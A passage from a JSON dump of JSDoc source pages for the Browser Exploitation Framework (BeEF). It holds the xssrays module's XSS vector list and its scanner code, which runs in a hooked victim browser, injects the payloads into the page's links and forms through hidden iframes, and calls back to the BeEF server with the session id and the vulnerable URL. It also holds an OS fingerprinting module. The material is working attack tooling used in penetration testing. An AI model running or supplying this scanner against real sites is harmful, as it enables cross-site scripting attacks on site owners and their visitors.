'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"' style=abc:expression(XSS) ' \\\" style=abc:expression(XSS) \\\"\", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},\n\t\t\t\t  {input:'\" type=image src=null onerror=XSS \" \\' type=image src=null onerror=XSS \\'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"' onload='XSS' \\\" onload=\\\"XSS\\\"/onload=\\\"XSS\\\"/onload='XSS'/\", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\\\"&lt;\\/script>&lt;\\/xml>&lt;\\/title>&lt;\\/textarea>&lt;\\/noscript>&lt;\\/style>&lt;\\/listing>&lt;\\/xmp>&lt;\\/pre>&lt;img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"'},XSS,function x(){//\", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\\\x3c\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74\\\\x3eXSS\\\\x3c\\\\x2f\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74\\\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},\n  \t\t\t\t  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},\n  \t\t\t\t  {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'null\\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}\n    ],\n    uniqueID: 0,\n    rays: [],\n    stack: [],\n\n    /**\n     * return true is the attack vector can be launched to the current browser type.\n     * @param {array} vector_array_index \n     */\n    checkBrowser:function(vector_array_index){\n        var result = false;\n        var browser_id = this.vectors[vector_array_index].browser;\n        switch (browser_id){\n        case \"ALL\":\n            result = true;\n            break;\n        case \"FF\":\n            if(beef.browser.isFF())result=true;\n            break;\n        case \"IE\":\n            if(beef.browser.isIE())result=true;\n            break;\n        case \"C\":\n            if(beef.browser.isC())result=true;\n            break;\n        case \"S\":\n            if(beef.browser.isS())result=true;\n            break;\n        case \"O\":\n            if(beef.browser.isO())result=true;\n            break;\n        default : result = false;\n        }\n        beef.debug(\"==== browser_id ==== [\" + browser_id + \"], result [\" + result + \"]\");\n        return result;\n    },\n\n    /**\n     * main function, where all starts :-)\n     * @param xssraysScanId \n     * @param hookedBrowserSession \n     * @param beefUrl \n     * @param crossDomain \n     * @param timeout \n     */\n    startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {\n\n        this.xssraysScanId = xssraysScanId;\n        this.hookedBrowserSession = hookedBrowserSession;\n        this.beefRayUrl = beefUrl + '/' + this.handler;\n        beef.debug(\"Using [\" + this.beefRayUrl  + \"] handler to contact back BeEF\");\n        this.crossDomain = crossDomain;\n        this.cleanUpTimeout = timeout;\n\n        this.scan();\n        beef.debug(\"Starting scan\");\n        this.runJobs();\n    },\n    complete:function() {\n        if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {\n            beef.debug(\"COMPLETE, notifying BeEF for scan id [\" + beef.net.xssrays.xssraysScanId + \"]\");\n            $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: \"finish\"} );\n        } else {\n            this.getNextJob();\n        }\n    },\n    getNextJob:function() {\n        var that = this;\n        beef.debug(\"getNextJob - this.stack.length [\" + this.stack.length + \"]\");\n        if (this.stack.length > 0) {\n            var func = that.stack.shift();\n            if (func) {\n                that.completed++;\n                func.call(that);\n            }\n        }else{ //nothing else to scan\n            this.complete();\n        }\n    },\n    scan:function() {\n        this.scanLinks();\n        this.scanForms();\n    },\n    scanPaths:function() {\n        this.xss({type:'path'});\n        return this;\n    },\n    scanForms: function() {\n        this.xss({type:'form'});\n        return this;\n    },\n    scanLinks: function() { //TODO: add depth crawling for links that are in the same domain\n        beef.debug(\"scanLinks, document.links.length [\" + document.links.length + \"]\");\n        for (var i = 0; i &lt; document.links.length; i++) {\n            var url = document.links[i];\n\n            if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) &amp;&amp; (location.protocol === 'http:' || location.protocol === 'https:')) {\n                beef.debug(\"Starting scanning URL [\" + url + \"]\\n url.href => \" + url.href +\n                    \"\\n url.pathname => \" + url.pathname + \"\\n\" +\n                    \"url.search => \" + url.search + \"\\n\");\n                this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,\n                    search:url.search, type: 'url'});//scan each link &amp; param\n            } else {\n                beef.debug('Scan is not Cross-origin.  URLS\\nurl :' + url.hostname.toString());\n                beef.debug('\\nlocation :' + location.hostname.toString());\n            }\n        }\n        if (location.search.length > 0) {\n            this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url\n        }\n        return this;\n    },\n    xss:function(target) {\n        switch (target.type) {\n            case \"url\":\n                if (target.search.length > 0) {\n                    target.search = target.search.slice(1);\n                    target.search = target.search.split(/&amp;|&amp;amp;/);\n\n                    if(beef.browser.isIE() &amp;&amp; target.pathname.charAt(0) != \"/\"){ //the damn IE doesn't contain the forward slash in pathname\n                       var pathname = \"/\" + target.pathname;\n                    }else{\n                        var pathname = target.pathname;\n                    }\n\n                    var params = {};\n                    for (var i = 0; i &lt; target.search.length; i++) {\n                        target.search[i] = target.search[i].split('=');\n                        params[target.search[i][0]] = target.search[i][1];\n                    }\n                    for (var i = 0; i &lt; this.vectors.length; i++) {\n                        // skip the current vector if it's not compatible with the hooked browser\n                        if (!this.checkBrowser(i)){\n                            beef.debug(\"Skipping vector [\" + this.vectors[i].name + \"] because it's not compatible with the current browser.\");\n                            continue;\n                        }\n                        if (!this.vectors[i].url) {\n                            continue;\n                        }\n                        if (this.vectors[i].url) {\n                            if (target.port == null || target.port == \"\") {\n                                beef.debug(\"Starting XSS on GET params of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params\n                            } else {\n                                beef.debug(\"Starting XSS on GET params of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params\n                            }\n                        }\n                        if (this.vectors[i].path) {\n                            if (target.port == null || target.port == \"\") {\n                                beef.debug(\"Starting XSS on URI PATH of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths\n                            } else {\n                                beef.debug(\"Starting XSS on URI PATH of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths\n                            }\n                        }\n                    }\n                }\n                break;\n            case \"form\":\n                var params = {};\n                var paramsstring = \"\";\n                for (var i = 0; i &lt; document.forms.length; i++) {\n                    var action = document.forms[i].action || document.location;\n                    var method = document.forms[i].method.toUpperCase() === 'POST' ?\n                        'POST' :\n                        'GET';\n\n                    for (var j = 0; j &lt; document.forms[i].elements.length; j++) {\n                        params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;\n                    }\n                    for (var k = 0; k &lt; this.vectors.length; k++) {\n\n                        // skip the current vector if it's not compatible with the hooked browser\n                        if (!this.checkBrowser(k)){\n                            beef.debug(\"Skipping vector [\" + this.vectors[i].name + \"] because it's not compatible with the current browser.\");\n                            continue;\n                        }\n                        if (!this.vectors[k].form) {\n                            continue;\n                        }\n                        if (!this.crossDomain &amp;&amp; (this.host(action).toString() != this.host(location.toString()))) {\n                            beef.debug('Scan is not Cross-origin. FormPost\\naction :' + this.host(action).toString());\n                            beef.debug('location :' + this.host(location));\n                            continue;\n                        }\n                        if (this.vectors[k].form) {\n                            if (method === 'GET') {\n                                beef.debug(\"Starting XSS on FORM action params, GET method of [\" + action + \"], params [\" + paramsstring + \"]\");\n                                this.run(action, method, this.vectors[k], params, true);//params\n                            }\n                            else {\n                                beef.debug(\"Starting XSS on FORM action params, POST method of [\" + action + \"], params [\" + paramsstring + \"]\");\n                                this.run(action, method, this.vectors[k], params, false);//params\n                            }\n                        }\n                        if (this.vectors[k].path) {\n                            beef.debug(\"Starting XSS on FORM action URI PATH of [\" + action + \"], \");\n                            this.run(action, 'GET', this.vectors[k], null, true);//paths\n                        }\n                    }\n                }\n                break;\n        }\n    },\n    host: function(url) {\n        var host = url;\n        host = /^https?:[\\/]{2}[^\\/]+/.test(url.toString())\n            ? url.toString().match(/^https?:[\\/]{2}[^\\/]+/)\n            : /(?:^[^a-zA-Z0-9\\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())\n            ? ''\n            : location.hostname.toString();\n        return host;\n    },\n    fileName: function(url) {\n        return url.match(/(?:^[^\\/]|^https?:[\\/]{2}|^[\\/]+)[^?]+/) || '';\n    },\n\n    urlEncode: function(str) {\n        str = str.toString();\n        str = str.replace(/\"/g, '%22');\n        str = str.replace(/&amp;/g, '%26');\n        str = str.replace(/\\+/g, '%2b');\n        return str;\n    },\n\n    /**\n     * this is the main core function with the detection mechanisms...\n     * @param url \n     * @param method \n     * @param vector \n     * @param params \n     * @param urlencode \n     */\n    run: function(url, method, vector, params, urlencode) {\n        this.stack.push(function() {\n\n            //check if the URL end with / . In this case remove the last /, as it will be added later.\n            // this check is needed only when checking for URI path injections\n            if(url[url.length - 1] == \"/\" &amp;&amp; params == null){\n               url = url.substring(0, url.length - 2);\n               beef.debug(\"Remove last / from url. New url [\" + url + \"]\");\n            }\n\n            beef.net.xssrays.uniqueID++;\n            beef.debug('Processing vector [' + vector.name + \"], URL [\" + url + \"]\");\n            var poc = '';\n            var pocurl = url;\n            var exploit = '';\n            var action = url;\n\n\n            beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};\n            var ray = this.rays[beef.net.xssrays.uniqueID];\n\n            var paramsPos = 0;\n            if (params != null) {\n                /*\n                 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++\n                 */\n                for (var i in params) {\n                    if (params.hasOwnProperty(i)) {\n\n                        if (!/[?]/.test(url)) {\n                            url += '?';\n                            pocurl += '?';\n                        }\n\n                        poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&amp;';\n\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                        beefCallback = \"location='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&amp;raysid=\" + this.xssraysScanId\n                            + \"&amp;action=ray\" + \"&amp;p='+window.location.href+'&amp;n=\" + ray.vector.name + \"&amp;m=\" + ray.vector.method + \"'\";\n\n                        exploit = vector.input.replace(/XSS/g, beefCallback);\n\n                        if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later\n                            url += i + '=' + exploit + '&amp;';\n                        }else{\n                            url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&amp;';\n                        }\n\n                        paramsPos++;\n                    }\n                }\n            } else {\n                /*\n                 * ++++++++++ check for XSS in URI path (GET) ++++++++++\n                 */\n                var filename = beef.net.xssrays.fileName(url);\n\n                poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');\n\n\n                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                beefCallback = \"document.location.href='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&amp;raysid=\" + this.xssraysScanId\n                    + \"&amp;action=ray\" + \"&amp;p='+window.location.href+'&amp;n=\" + ray.vector.name + \"&amp;m=\" + ray.vector.method + \"'\";\n\n                exploit = vector.input.replace(/XSS/g, beefCallback);\n\n                //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//&lt;xss>.\n                //TODO: this need to checked and the slash shouldn't be added in this particular case\n                url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');\n            }\n            /*\n             * ++++++++++ create the iFrame that will contain the attack vector ++++++++++\n             */\n            if(beef.browser.isIE()){\n                try {\n                    var iframe = document.createElement('&lt;iframe name=\"ray'+Math.random().toString() +'\">');\n                } catch (e) {\n                    var iframe = document.createElement('iframe');\n                    iframe.name = 'ray' + Math.random().toString();\n                }\n            }else{\n                var iframe = document.createElement('iframe');\n                iframe.name = 'ray' + Math.random().toString();\n            }\n            iframe.style.display = 'none';\n            iframe.id = 'ray' + beef.net.xssrays.uniqueID;\n            iframe.time = beef.net.xssrays.timestamp();\n\n            if (method === 'GET') {\n                if(beef.browser.isC() || beef.browser.isS()){\n                    var datauri = btoa(url);\n                    iframe.src = \"data:text/html;base64,\" + datauri;\n                }else{\n                    iframe.src = url;\n                }\n                document.body.appendChild(iframe);\n                beef.debug(\"Creating XSS iFrame with src [\" + iframe.src + \"], id[\" + iframe.id + \"], time [\" + iframe.time + \"]\");\n            } else if (method === 'POST') {\n                /*\n                 * ++++++++++ check for XSS in body parameters (POST) ++++++++++\n                 */\n                var form = '&lt;form action=\"' + beef.net.xssrays.escape(action) + '\" method=\"post\" id=\"frm\">';\n                poc = '';\n                pocurl = action + \"?\";\n                paramsPos = 0;\n\n                beef.debug(\"Form action [\" + action + \"]\");\n                for (var i in params) {\n                    if (params.hasOwnProperty(i)) {\n\n                        poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                        poc = poc.replace(/&lt;\\/script>/g, \"&lt;\\/scr\\\"+\\\"ipt>\");\n                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&amp;';\n\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                        beefCallback = \"document.location.href='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&amp;raysid=\" + this.xssraysScanId\n                            + \"&amp;action=ray\" + \"&amp;p='+window.location.href+'&amp;n=\" + ray.vector.name + \"&amp;m=\" + ray.vector.method + \"'\";\n\n                        exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));\n                        form += '&lt;textarea name=\"' + i + '\">' + exploit + '&lt;\\/textarea>';\n                        beef.debug(\"form param[\" + i + \"] = \" + params[i].toString());\n\n                        paramsPos++;\n                    }\n                }\n                form += '&lt;\\/form>';\n                document.body.appendChild(iframe);\n                beef.debug(\"Creating form [\" + form + \"]\");\n                iframe.contentWindow.document.writeln(form);\n                iframe.contentWindow.document.writeln('&lt;script>document.createElement(\"form\").submit.apply(document.forms[0]);&lt;\\/script>');\n                beef.debug(\"Submitting form\");\n            }\n\n        });\n    },\n\n    /**\n     * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value\n     */\n    runJobs: function() {\n        var that = this;\n        this.totalConnections = this.stack.length;\n        that.getNextJob();\n        setInterval(function() {\n            var numOfConnections = 0;\n            for (var i = 0; i &lt; document.getElementsByTagName('iframe').length; i++) {\n                var iframe = document.getElementsByTagName('iframe')[i];\n                numOfConnections++;\n                //beef.debug(\"runJobs parseInt(this.timestamp()) [\" + parseInt(beef.net.xssrays.timestamp()) + \"], parseInt(iframe.time) [\" + parseInt(iframe.time) + \"]\");\n                if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {\n                    try{\n                        if (iframe) {\n                            beef.net.xssrays.complete();\n                            beef.debug(\"RunJobs cleaning up iFrame [\" + iframe.id + \"]\");\n                            document.body.removeChild(iframe);\n                        }\n                    }catch(e){\n\t\t\tbeef.debug(\"Exception [\" + e.toString() + \"] when cleaning iframes.\")\n\t\t    }\n                }\n            }\n\n            if (numOfConnections == 0) {\n                clearTimeout(this);\n            }\n\n        }, this.cleanUpTimeout);\n\n        return this;\n    },\n    timestamp: function() {\n        return parseInt(new Date().getTime().toString().substring(0, 10));\n    },\n    escape: function(str) {\n        str = str.toString();\n        str = str.replace(/&lt;/g, '&amp;lt;');\n        str = str.replace(/>/g, '&amp;gt;');\n        str = str.replace(/\\u0022/g, '&amp;quot;');\n        str = str.replace(/\\u0027/g, '&amp;#39;');\n        str = str.replace(/\\\\/g, '&amp;#92;');\n        return str;\n    }\n\n};\n\nbeef.regCmp('beef.net.xssrays');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/os.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: os.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: os.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** @namespace beef.os */\n\nbeef.os = {\n\n\tua: navigator.userAgent,\n\n\t/**\n\t  * Detect default browser (IE only)\n\t  * Written by unsticky\n\t  * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/\n\t  * @return {string}\n\t  */\n\tgetDefaultBrowser: function() {\n\t\tvar result = \"Unknown\"\n\t\ttry {\n\t\t\tvar mt = document.mimeType;\n\t\t\tif (mt) {\n\t\t\t\tif (mt == \"Safari Document\")       result = \"Safari\";\n\t\t\t\tif (mt == \"Firefox HTML Document\") result = \"Firefox\";\n\t\t\t\tif (mt == \"Chrome HTML Document\")  result = \"Chrome\";\n\t\t\t\tif (mt == \"HTML Document\")         result = \"Internet Explorer\";\n\t\t\t\tif (mt == \"Opera Web Document\")    result = \"Opera\";\n\t\t\t}\n\t\t} catch (e) {\n\t\t\tbeef.debug(\"[os] getDefaultBrowser: \"+e.message);\n\t\t}\n\t\treturn result;\n\t},\n\t\n\t// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin311: function() {\n\t\treturn (this.ua.match('(Win16)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinNT4: function() {\n\t\treturn (this.ua.match('(Windows NT 4.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin95: function() {\n\t\treturn (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinCE: function() {\n\t\treturn (this.ua.match('(Windows CE)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin98: function() {\n\t\treturn (this.ua.match('(Windows 98)|(Win98)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinME: function() {\n\t\treturn (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin2000: function() {\n\t\treturn (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin2000SP1: function() {\n\t\treturn (this.ua.match('Windows NT 5.01 ')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinXP: function() {\n\t\treturn (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinServer2003: function() {\n\t\treturn (this.ua.match('(Windows NT 5.2)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinVista: function() {\n\t\treturn (this.ua.match('(Windows NT 6.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin7: function() {\n\t\treturn (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin8: function() {\n\t\treturn (this.ua.match('(Windows NT 6.2)')) ? true : false;\n\t},\t\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin81: function() {\n\t\treturn (this.ua.match('(Windows NT 6.3)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin10: function() {\n\t\treturn (this.ua.match('Windows NT 10.0')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOpenBSD: function() {\n\t\treturn (this.ua.indexOf('OpenBSD') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisSunOS: function() {\n\t\treturn (this.ua.indexOf('SunOS') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisLinux: function() {\n\t\treturn (this.ua.match('(Linux)|(X11)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisMacintosh: function() {\n\t\treturn (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxYosemite: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxMavericks: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxSnowLeopard: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxLeopard: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinPhone: function() {\n\t\treturn (this.ua.match('(Windows Phone)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIphone: function() {\n\t\treturn (this.ua.indexOf('iPhone') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIpad: function() {\n\t\treturn (this.ua.indexOf('iPad') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIpod: function() {\n\t\treturn (this.ua.indexOf('iPod') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisNokia: function() {\n\t\treturn (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisAndroid: function() {\n\t\treturn (this.ua.match('Android')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisBlackBerry: function() {\n\t\treturn (this.ua.match('BlackBerry')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWebOS: function() {\n\t\treturn (this.ua.match('webOS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisQNX: function() {\n\t\treturn (this.ua.match('QNX')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisBeOS: function() {\n\t\treturn (this.ua.match('BeOS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisAros: function() {\n\t\t\treturn (this.ua.match('AROS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWindows: function() {\n\t\treturn (this.ua.match('Windows')) ? true : false;\n\t},\n\t/**\n\t * @return {string}\n\t */\n\tgetName: function() {\n\t\t\n\t\tif(this.isWindows()){\n\t\t\treturn 'Windows';\n\t\t}\n\n\t\tif(this.isMacintosh()) {\n\t\t\treturn 'OSX';\n\t\t}\n\n\t\t//Nokia\n\t\tif(this.isNokia()) {\n\t\t\tif (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';\n\t\t\tif (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';\n\t\t\tif (this.ua.indexOf('Symbian') != -1) return 'Symbian';\n\t\t}\n\n\t\t// BlackBerry\n\t\tif(this.isBlackBerry()) return 'BlackBerry OS';\n\n\t\t// Android\n\t\tif(this.isAndroid()) return 'Android';\n\n\t\t// SunOS\n\t\tif(this.isSunOS()) return 'SunOS';\n\n\t\t//Linux\n\t\tif(this.isLinux()) return 'Linux';\n\n\t\t//iPhone\n\t\tif (this.isIphone()) return 'iOS';\n\t\t//iPad\n\t\tif (this.isIpad()) return 'iOS';\n\t\t//iPod\n\t\tif (this.isIpod()) return 'iOS';\n\t\t\n\t\t//others\n\t\tif(this.isQNX()) return 'QNX';\n\t\tif(this.isBeOS()) return 'BeOS';\n\t\tif(this.isWebOS()) return 'webOS';\n\t\tif(this.isAros()) return 'AROS';\n\t\t\n\t\treturn 'unknown';\n\t},\n\n  /**\n    * Get OS architecture.\n    * This may not be the same as the browser arch or CPU arch.\n    * ie, 32bit OS on 64bit hardware\n    */\n  getArch: function() {\n    var arch = 'unknown';\n    try {\n      var arch = platform.os.architecture;\n      if (!!arch)\n        return arch;\n    } catch (e) {}\n\n    return arch;\n  },\n\n  /**\n    * Get OS family\n    */\n  getFamily: function() {\n    var family = 'unknown';\n    try {\n      var family = platform.os.family;\n      if (!!family)\n        return 